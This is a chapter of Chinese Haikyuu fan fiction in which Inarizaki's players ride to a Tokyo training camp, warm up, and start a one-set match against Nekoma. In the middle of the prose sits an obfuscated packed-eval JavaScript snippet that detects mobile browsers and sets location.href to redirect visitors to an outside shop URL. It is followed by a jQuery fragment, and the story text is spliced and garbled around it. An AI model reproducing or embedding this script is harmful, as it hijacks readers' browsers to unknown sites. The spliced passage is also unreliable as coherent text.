北裕介恍然大悟的点点头。 角名伦太郎想了想,还是没忍住嘱咐道:“这次记得多带点东西,待的时间要比上次长一些。” “好的,”北裕介看了看已经欢呼着散开的人群:“去打球吗角名。” 角名伦太郎顿了一下,认命道:“去。” 为什么他认识的人都是排球脑袋呢,和北裕介成功配合了一个梯次进攻的角名伦太郎感觉有点无奈。 “好配合。” 扣球十分顺利的北裕介眼睛都亮了一下,转头去找当事人击掌。 角名伦太郎相当配合的伸出手。 算了,排球脑袋就排球脑袋吧,至少比笨蛋强。 合宿的前一天没有晚训已经算是稻荷崎的传统了,于是很难得的北裕介和北信介到家的时候天还没黑。 北信介顺理成章的接下了做晚饭的工作,北裕介则在一旁打下手。 五分钟后,北信介看了看切的乱七八糟的菜,平静的说道:“裕介。” 北裕介正干的起劲儿,抬起头:“怎么了信介哥?” “你先去外面擦擦桌子吧,这里我自己就好。” 北裕介仔细的看了一下自己切的菜,好像是有点不太美观。 他讪讪的走出厨房,还不忘记给北信介带上了门。 不做饭的人总要做点其他的家务的,于是晚饭后北裕介主动的站起身洗碗。 他感觉他洗的还挺好的,就是不知道信介哥为什么一直盯着他看。 心里碎碎念的北裕介打开房间门扑上床,拿出了一天都没打开的手机。 他手机通讯录里的人少得可怜,上学前只有奶奶和北信介,上学后也只是多了排球部的队友。 北裕介刚想把手机充上电扔到一旁,就收到了角名伦太郎的消息。 【今天记得早点睡。】 【会的,角名也是】 被内涵的北裕介暗戳戳的内涵回去,这次他绝对不会在大巴车上睡觉了。 不过不睡觉也挺难熬的…… 从兵库县到东京很远,大巴要差不多五六个小时,而北裕介最讨厌一直坐车了。 他用头砸了一下前排的椅背,一脸生无可恋的样子。 角名伦太郎照例坐在他旁边扒拉手机:“还有一半的路程了,再坚持一下。” “怎么还有一半啊,我感觉已经过了好久了。” 角名伦太郎思考了两秒,从背包里拿出一个游戏机:“玩吗?” “哎?”北裕介呆了呆:“我不会。” 角名伦太郎帮他打开,找了一个剧情向的游戏:“玩这个吧,很简单,也挺有意思的。” 两个小时后,游戏通关了。 “真厉害,还有一小会就到了,你看看再玩点什么,还是想吃点东西都可以。” 北裕介摇摇头,打了个哈欠:“不玩了,累眼睛。” 角名伦太郎把游戏机收好:“那就歇一会,马上就到了。” 北裕介贴着椅背点点头,头发随着他的动作打成一个卷又慢慢散开。 车里的人都睡了个昏天黑地,黑须法宗拍拍手:“大家醒醒,马上到了,先清醒清醒。” 要不然直接下车容易感冒。 终于快到了,北裕介猛地抬头向后一靠,看向角名伦太郎:“咱们去的是哪个学校来着?” 角名伦太郎盯着他看了两眼,无奈的回答:“井闼山。” 窗外的景色逐渐变得熟悉,他用下巴点了一下外面:“看,到了。” 好大的学校,走下大巴的北裕介看着校门感慨道。 井闼山的教练已经在校门口等着了,稻荷崎众人跟着他来到排球馆。 路途遥远,他们是最后一个到的学校。 打开排球馆大门,其他三个学校的目光齐齐落在他们身上。 作为唯一一所不在东京但是参与这次合宿的学校,他们自然而然的对对方充满了好奇。 一群人穿着黑色的短袖,外面是暗红色的外套,深色的队服显得这群人身形挺拔,明明被所有人若有若无的注视着,但是并没有人表现出局促,反而都一副理所当然的样子。 北信介把拉链拉下一小截,微微偏头:“先去热身吧,一会教练有安排。” “嗨,”宫侑第一个拉长了嗓音回答:“那么走吧各位,让东京的学校看看咱们稻荷崎的实力。” 又在开屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188824|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这家伙。 宫治脱下外套搭在肩膀上,难得的没去拆台,转身走向馆内的空地。 北裕介站到一个偏后的位置排队等着扣球,眼睛扫过其他学校的队伍。 队服和他们颜色有点像的是音驹,黑白配色的是枭谷,荧光色的是井闼山…… 话说为什么要定一个这种颜色的队服,为了显眼吗? 角名伦太郎轻轻推了推发呆的人:“快到你扣球了。” 北裕介回过神,压低了嗓子说道:“谢谢啦。” “来吧裕介。” 宫侑随意的瞥了,在心里估摸了一下高度。 北裕介助跑两步,右脚蹬地,跳到了一个惊人的高度,球此时正好传到位,他抡起手臂,手掌打在球上就已经是一声巨响,落地后更是反弹了好几米高。 “Nice!” 宫侑满意的点点头,摆摆手示意下一个。 他们的动静不小,吸引了很多人的目光。 佐久早圣臣放下了手里的球,扫了一圈角落里黑色队服的队伍,目光落在一个熟悉的人影身上。 “怎么了圣臣?是有感兴趣的人吗?” 古森元也注意到了他的视线,开玩笑说道。 佐久早圣臣摇摇头,挪开了目光:“一会说不定就能在比赛上见了。” 还真有? 古森元也一愣,看向稻荷崎众人,没找到什么特别眼熟的人,他耸耸肩,算了,一会比赛见吧。 不出意料的——他们今天的对手——不是稻荷崎。 教练抽签的结果是:稻荷崎VS音驹,枭谷VS井闼山。 “音驹——” 北裕介念出纸上的结果,想了想:“那个和咱们队服颜色很像的队伍。” 宫侑挑眉:“对,幸亏是他们的短袖和咱们的外套像,要不然还要换衣服。” 他踮起脚想去看音驹的阵容,无果后撇撇嘴。 他们没在正式比赛对上过音驹,但是多多少少还是有些了解的。 尾白阿兰对着北裕介小声说道:“音驹是防守能力很强的队伍,跟咱们正相反,你是副攻,要当心点对面的二传,他很擅长误导人——” 他的眼神可疑的飘忽了一下,落在自家二传的脸上。 希望阿侑一会不要被气到就好。 北裕介知道这是专门说给他听的,点点头:“谢谢。” 他看了看网对面的那支队伍,他们正在围成一个圈,每个人都伸出拳头对碰,什么赛前仪式吗? 北裕介畏惧的收回视线:“什么时候开始?” 角名伦太郎示意他去看裁判席:“北前辈去猜拳了,马上就能开始。” 周围忽然响起欢呼声,北裕介被吓得眯了眯眼睛,往角名伦太郎身旁躲了躲,两秒后才后知后觉的反应过来,大概是他们先发球。 稻荷崎保持了原阵营,赛前的两秒,角名伦太郎突然凑过去对北裕介说:“这局比赛可能有点累,要是感觉不太对前期就省点劲儿。” 他们今天不是只比一局吗?他不至于一局比赛都坚持不下来吧? 北裕介的疑问还没问出口就被哨声打断了,他只好闭上嘴巴。 稻荷崎VS音驹,一局定胜负。 “请多指教——”